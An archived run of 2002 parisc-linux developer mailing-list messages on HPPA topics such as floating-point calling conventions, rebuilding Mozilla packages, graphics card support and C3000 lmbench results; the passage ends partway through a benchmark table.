List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14460

Andrew Shugg wrote:
> I assume you mean c3000/firewall ?

No. I really meant lxr8000:
grundler <503>ls -l kernels/*/firewall
-rwxr-xr-x    1 grundler users        4912 Jan  1 21:39 kernels/a500/firewall*
-rwxr-xr-x    1 grundler users        4950 Mar 27 23:01 kernels/lxr8000/firewall*
-rwxr-xr-x    1 grundler users        5096 Jan 12 22:03 kernels/ob500/firewall*

I basically run the same firewall on all three machines with localized tweaks.


> Thanks, always interested to see how other people approach firewalling.

agreed - but this isn't just my own personal creatation. I've gotten
input from other folks who actaully know what they are doing.
(thanks to neuro, rbrad, lamont, et al).

grant



From - Thu Nov 08 21:22:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [carlos@baldric.uwo.ca: Re: Any hppa gurus?]
Date: Thu, 28 Mar 2002 12:28:48 -0500
Lines: 98
Approved: news@gmane.org
Message-ID: <20020328122848.H12094@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621196 5443 80.91.229.3 (22 Nov 2014 01:53:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:16 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 28 10:27:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 003E7482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 28 Mar 2002 10:27:46 -0700 (MST)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.6/8.11.0) id g2SHSmL12784
	for parisc-linux@lists.parisc-linux.org; Thu, 28 Mar 2002 12:28:48 -0500
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (0% Sync Ratio [..........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14461

Just a heads-up to see if anyone is having fp issues in 
any of their adventures :)

I hope I got all the fp passing stuff right since I'm
no 'hppa guru' ;)

c.

----- Forwarded message from "Carlos O'Donell Jr." <carlos@baldric.uwo.ca> -----

Date: Thu, 28 Mar 2002 12:24:45 -0500
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
To: Will Newton <will@misconception.org.uk>, debian-hppa@lists.debian.org
Cc: willy@debian.org, dave@hiauly1.hia.nrc.ca
Subject: Re: Any hppa gurus?
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <E16qbcu-0005v7-00.2002-03-28-15-15-45@cmailg3.svr.pol.co.uk>; from will@misconception.org.uk on Thu, Mar 28, 2002 at 03:15:29PM +0000
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (0% Sync Ratio [..........])


> I am still seeing a very similar problem with latest unstable gcc.
> 
> The first four floats (or first two doubles) passed to an indirect function 
> are always 0.0.
> 
> > I could help out with any questions you might have
> > (or coerce the information out of others I know ;)
> 
> Any help would be much appreciated. I have attached the code (it is quite 
> small). It's aim is to take an array of arguments and pass them to a native 
> function. Unfortunately the function does not work for doubles and there also 
> seems to be a crash for some reason (stack corruption?) after several calls.

avcall-hppa.c:

     64   {
     65     int i;
     66     for (i = -arglen; i < -4; i++)      /* push function args onto stack */
     67       argframe[i] = l->args[__AV_ALIST_WORDS+i];
     68   }
     69 
     70   if (l->rtype == __AVstruct)           /* push struct return address */
     71     sret = l->raddr;
     72 
     73                                 /* call function, pass 4 args in registers */
     74   i = (*l->func)(l->args[__AV_ALIST_WORDS-1], l->args[__AV_ALIST_WORDS-2],
     75                  l->args[__AV_ALIST_WORDS-3], l->args[__AV_ALIST_WORDS-4]);
     76 

64-68 - Great, pass it on the stack
75-75 - Need to check argument type, if float/double it needs to passed
        via fr4-fr7 else gr23-gr26.

It's been decided to go with the ~"64-bit HPUX ABI" and stop passing floating 
point values in general registers (since this requires proper CALL info 
and relocating stubs from the linker).

Which means you can no longer place float/double arguments into general
register.

What does the av_alist structure look like? If it has a 'type' per argument,
it it shouldn't be too hard to write the code.

Current way it's done:
No Arguments in general registers:

1 Double  - fr7 (fr7 hi, fr6 low)
2 Doubles - fr7,fr5
3 Doubles - fr7,fr5,Stack...

1 Float   - fr7
2 Floats  - fr7,fr6
3 Floats  - fr7,fr6,fr5
4 Floats  - fr7,fr6,fr5,fr4
5 Floats  - fr7,fr6,fr5,fr4,Stack...

And then some old stuff due to 'thinking its doing relocation':

2 Doubles with argument in the first 1-2 general 
(gr25,26) register:
	- fr7(fr7 hi, fr6 low),Stack...

2 Doubles with arugment in the first 3-4 general 
(gr23,24,25,26) registers:
	- Stack...

And so on... most of this is due to thinking:
- Is there enough space for the argument in the general registers?
	- No -> Stack
	- Yes -> Pass as fp argument in fr's.

Cheers,
Carlos.

----- End forwarded message -----



From - Thu Nov 08 21:22:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Mozilla, etc.
Date: Thu, 28 Mar 2002 10:41:51 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <20020328174151.DFD0C482A@dsl2.external.hp.com>
References: <20020327151405.2397A482F@dsl2.external.hp.com> <Pine.LNX.4.33.0203272123310.1463-100000@lewis.et.byu.edu>  <20020328201757.B6833@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621196 5452 80.91.229.3 (22 Nov 2014 01:53:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:16 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 28 10:41:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id DFD0C482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 28 Mar 2002 10:41:51 -0700 (MST)
In-Reply-To: Message from Andrew Shugg <andrew@neep.com.au> 
   of "Thu, 28 Mar 2002 20:18:00 +0800." <20020328201757.B6833@neep.com.au> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14462

Andrew Shugg wrote:
> ....but I would hope that following this announcement HP will (somehow)
> be able to assist in getting a production-ready JRE into linux-hppa.

Just to set your expectation, inside HP I don't see any commercial
interest in parisc-linux at this time. I can make compute resources
(== faster machines) available for building/testing binaries. But
that's about the level of assistance I see happening from various
parts of HP.

> Once HPUX binary compatibility is working properly the HPUX JRE could
> probably be used as well, but if there's a comparable native solution I
> don't know if many people will go to that effort.

I was hoping (there's that word again) someone would do that.
All parisc machines were sold with a HPUX license. As the owner
of such a machine, you have the right to run the binaries
shipped with the machine. And it comes with lots of useful
binaries (jvm, compiler, X11 stuff, etc).

hth,
grant



From - Thu Nov 08 21:22:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: latest lvm10 package broken?
Date: Thu, 28 Mar 2002 19:43:10 +0100 (CET)
Lines: 22
Approved: news@gmane.org
Message-ID: <1017340990.3ca3643ec61df@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621197 5461 80.91.229.3 (22 Nov 2014 01:53:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: paul_telford@hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 28 11:43:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id ABC83482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 28 Mar 2002 11:43:16 -0700 (MST)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16qerf-00015F-00; Thu, 28 Mar 2002 19:43:11 +0100
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14463

Hi Paul,

I just discover your question melting between other mails.

Well, I started to experiment LVM solutions before that packages were available
for hppa so I build it from sources.

For my experience, I run lvm-1.0.3 without any problem during a month and
building severall kernels on it. Try it also.

Let me know if it solves your problem,

Joel

On the other hand I also work with evms team to make evms works on hppa. It
works now (since release 0.9.2 still beta but already operational for the main
part) with some tips applied du to hppa gcc bug.

-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] X on J5000
Date: Thu, 28 Mar 2002 00:32:54 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20020328003254.A2300@solo.franken.de>
References: <3CA1701C.9000903@yahoo.com> <Pine.LNX.4.33L2.0203262318530.13376-100000@eiger.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621197 5476 80.91.229.3 (22 Nov 2014 01:53:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:17 +0000 (UTC)
Cc: Chuck Slivkoff <caslivkoff@yahoo.com>,
	Ryan Bradetich <rbradetich@uswest.net>, parisc-linux@parisc-linux.org
To: Jeremy Drake <jeremyd@apptechsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 28 12:34:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from solo.franken.de (p50844C46.dip.t-dialin.net [80.132.76.70])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6EC2C482A
	for <parisc-linux@parisc-linux.org>; Thu, 28 Mar 2002 12:34:25 -0700 (MST)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.11.6/8.11.6) id g2RNWsq02536;
	Thu, 28 Mar 2002 00:32:54 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <Pine.LNX.4.33L2.0203262318530.13376-100000@eiger.apptechsys.com>; from jeremyd@apptechsys.com on Tue, Mar 26, 2002 at 11:22:01PM -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14464

On Tue, Mar 26, 2002 at 11:22:01PM -0800, Jeremy Drake wrote:
> On Wed, 27 Mar 2002, Chuck Slivkoff wrote:
> 
> > That would be a Visualize-FXe. It is completely different than any of
> > the supported devices.
> 
> Does this mean I don't get any X?  Maybe I could be of some help testing

correct. None of the FX card is supported at the moment, because there is
still no documenatation available. I tried to treat the framebuffer as
a 24bit non packed framebuffer, but that gives me some really odd looking
graphic. Looks like PDC sets it up to some special pixel writing mode,
because it only deals with 3 planes.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]



From - Thu Nov 08 21:22:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Mozilla, etc.
Date: Thu, 28 Mar 2002 23:59:06 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <20020328235906.A11055@solo.franken.de>
References: <3CA2ADDB.4EE8AFA4@cisco.com> <Pine.LNX.4.33.0203272123310.1463-100000@lewis.et.byu.edu> <3CA2ADDB.4EE8AFA4@cisco.com> <20020328093151.GA20881@elvis.franken.de> <5.1.0.14.2.20020328171235.02e71248@pop.puretec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621197 5485 80.91.229.3 (22 Nov 2014 01:53:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:17 +0000 (UTC)
Cc: Christian Suder <csuder@cisco.com>,
	David Dougall <davidd@et.byu.edu>,
	parisc-linux@lists.parisc-linux.org
To: Tilo Jandt <tilo@jandt-online.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 28 16:00:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from solo.franken.de (p50844C46.dip.t-dialin.net [80.132.76.70])
	by dsl2.external.hp.com (Postfix) with ESMTP id 93C88482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 28 Mar 2002 16:00:18 -0700 (MST)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.11.6/8.11.6) id g2SMx6I11079;
	Thu, 28 Mar 2002 23:59:06 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <5.1.0.14.2.20020328171235.02e71248@pop.puretec.de>; from tilo@jandt-online.net on Thu, Mar 28, 2002 at 05:13:56PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14465

On Thu, Mar 28, 2002 at 05:13:56PM +0100, Tilo Jandt wrote:
> 
> 
> >to get it running, you need to recompile it with -O optimizing level.
> 
> how do you recompile it?

apt-get source mozilla
cd mozilla-0.9.9
vi debian/rules
dpkg-buildpackage -b
/* wait some hours */

> >But there is galeon, which uses mozillas rendering engine, which (also
> >compiled with -O) gives me a working web browser.
> 
> since the upgrade to mozilla 0.9.9 i can't use galeon any more.

I've placed the .debs, which I'm using to:

http://gsyprf11.external.hp.com/~tsbogend

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]



From - Thu Nov 08 21:22:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Building cvs 2.4.18
Followup-To: gmane.linux.ports.hppa
Date: Fri, 29 Mar 2002 09:08:24 +0800
Lines: 41
Approved: news@gmane.org
Message-ID: <20020329090821.R888@neep.com.au>
References: <Pine.LNX.4.33L2.0203251403190.13376-100000@eiger.apptechsys.com> <jeremyd@apptechsys.com> <20020326063217.50AB1482C@dsl2.external.hp.com> <20020327220901.A315@neep.com.au> <andrew@neep.com.au> <20020328070207.990A8482A@dsl2.external.hp.com> <20020328181323.A6833@neep.com.au> <andrew@neep.com.au> <20020328171720.8DC24482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621198 5496 80.91.229.3 (22 Nov 2014 01:53:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:18 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 28 18:08:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from guinness.internal.neep.com.au (ns1.au.network4.net [203.25.143.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7DB4D482A
	for <parisc-linux@parisc-linux.org>; Thu, 28 Mar 2002 18:08:45 -0700 (MST)
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id JAA09612
	for parisc-linux@parisc-linux.org; Fri, 29 Mar 2002 09:08:26 +0800
Mail-Followup-To: parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20020328171720.8DC24482A@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Thu, Mar 28, 2002 at 10:17:20AM -0700
X-URL: http://www.neep.com.au/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14466

Quoth Grant Grundler:
> Andrew Shugg wrote:
> > I assume you mean c3000/firewall ?
> 
> No. I really meant lxr8000:
> grundler <503>ls -l kernels/*/firewall
> -rwxr-xr-x    1 grundler users        4912 Jan  1 21:39 kernels/a500/firewall*
> -rwxr-xr-x    1 grundler users        4950 Mar 27 23:01 kernels/lxr8000/firewall*
> -rwxr-xr-x    1 grundler users        5096 Jan 12 22:03 kernels/ob500/firewall*

Okay.  I think we're not looking on the same systems, somehow.  =)

[guinness:~]$ !nc
ncftp ftp.parisc-linux.org
NcFTP 3.0.0 beta 14 (June 25, 1998) by Mike Gleason.
Connecting to 192.25.206.7...
ProFTPD 1.2.0pre10 Server (Debian) [dsl2.external.hp.com]
Welcome to the PA RISC/Linux project archive!

You appear to be anonymous@ns1.au.network4.net
The local time is: Thu Mar 28 18:03:06 2002

Please report any problems to ftpmaster@ftp.parisc-linux.org
Anonymous access granted, restrictions apply.
Logged in to ftp.parisc-linux.org.
ncftp / > dir kernels/*/firewall
-r--r--r--   1 grundler ftpadmin       4912 Jan  2 05:57 kernels/a500/firewall
-rwxr-xr-x   1 grundler ftpadmin       5113 Mar 10 07:44 kernels/c3000/firewall
ncftp / >

There's only the one ftp server, isn't there?

Andrew.

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."



From - Thu Nov 08 21:22:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] c3k lmbench results
Date: Thu, 28 Mar 2002 23:53:30 -0800
Lines: 144
Approved: news@gmane.org
Message-ID: <20020329075330.GC26353@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621198 5509 80.91.229.3 (22 Nov 2014 01:53:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:18 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 29 00:53:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id B646F482A
	for <parisc-linux@parisc-linux.org>; Fri, 29 Mar 2002 00:53:55 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id cdjgmaaa for parisc-linux@parisc-linux.org; Fri, 29 Mar 2002 00:52:58 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.34 #1 (Debian))
	id 16qrCU-0002oT-00; Thu, 28 Mar 2002 23:53:30 -0800
Content-Disposition: inline
User-Agent: Mutt/1.3.27i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14467

As they say, benchmarks can be used to show most anything you want... so
these may be of limited usefulness, but anyway...

Here are some lmbench results on a c3000 machine. Only the c3k-new
numbers below are "new". The other ones are included for comparison,
based on Paul Bame's posting in Jan 2001:
http://lists.parisc-linux.org/pipermail/parisc-linux/2001-January/010801.html

I was mostly interested in seeing how things have changed in the last
year or so. Of course, Paul and I ran benchmarks on different C3000
machines, so take the numbers with a grain of salt...

That said, the numbers for c3k-new below are for a 400MHz C3000 running
2.4.18-pa6 (32-bit kernel). It has 2G of RAM and a 10krpm Seagate ST118202LC 
drive connected to a sym53c896 controller. The system is connected to a
lightly loaded local network.

As I mentioned above, the c3k-old and c3k-hpux numbers are from Paul's
earlier posting. c3k-old is the c3k-j19-3 numbers.

Just for kicks, there are also numbers for a ia64 HP i2000 Itanium
workstation (labeled "ia64"). The i2000 is a SMP system with 2x800MHz
CPUs, 2G RAM, and a 10krpm Quantum drive connected to a qla1280
controller. lmbench is not a SMP benchmark though, so the numbers are
really for a single 800Mhz processor....

In general the parisc-linux numbers seem to have remained constant. I'm not 
sure what happened with the File/VM numbers though. The biggest
improvement I think is that many more things now work out of the box. We
still seem to be having some problems with the signals tests, but
otherwise the test runs much better than it used to.

Key:
    c3k-old	C3000 parisc-linux 1/19/2001 kernel
    c3k-new     C3000 parisc-linux 2.4.18-pa6 kernel
    c3k-hpux	C3000 HPUX 10.20 (*** an active in-use system ***)
    ia64        i2000 ia64-linux 2.4.17 kernel


                 L M B E N C H  2 . 0   S U M M A R Y
                 ------------------------------------
		 (Alpha software, do not distribute)

Basic system parameters
----------------------------------------------------
Host                 OS Description              Mhz
                                                    
--------- ------------- ----------------------- ----
c3k-old   Linux 2.4.0-t        parisc-linux-gnu  400
c3k-hpux  HP-UX B.10.20    hppa2.0-hp-hpux10.20  400
c3k-hpux  HP-UX B.10.20    hppa2.0-hp-hpux10.20  400
c3k-hpux  HP-UX B.10.20    hppa2.0-hp-hpux10.20  400
c3k-hpux  HP-UX B.10.20    hppa2.0-hp-hpux10.20  400
c3k-new   Linux 2.4.18-       hppa2.0-linux-gnu  400
ia64       Linux 2.4.17                  ia64    800


Processor, Processes - times in microseconds - smaller is better
----------------------------------------------------------------
Host                 OS  Mhz null null      open selct sig  sig  fork exec sh  
                             call  I/O stat clos TCP   inst hndl proc proc proc
--------- ------------- ---- ---- ---- ---- ---- ----- ---- ---- ---- ---- ----
c3k-old   Linux 2.4.0-t  400 0.76 1.32 8.12 8.88    61 2.26   14 1674  11K  53K
c3k-hpux  HP-UX B.10.20  400 0.34        21   25    55 3.42   12  699 1873 9950
c3k-hpux  HP-UX B.10.20  400 0.33        21   25    54 3.42   12  699 1876 9946
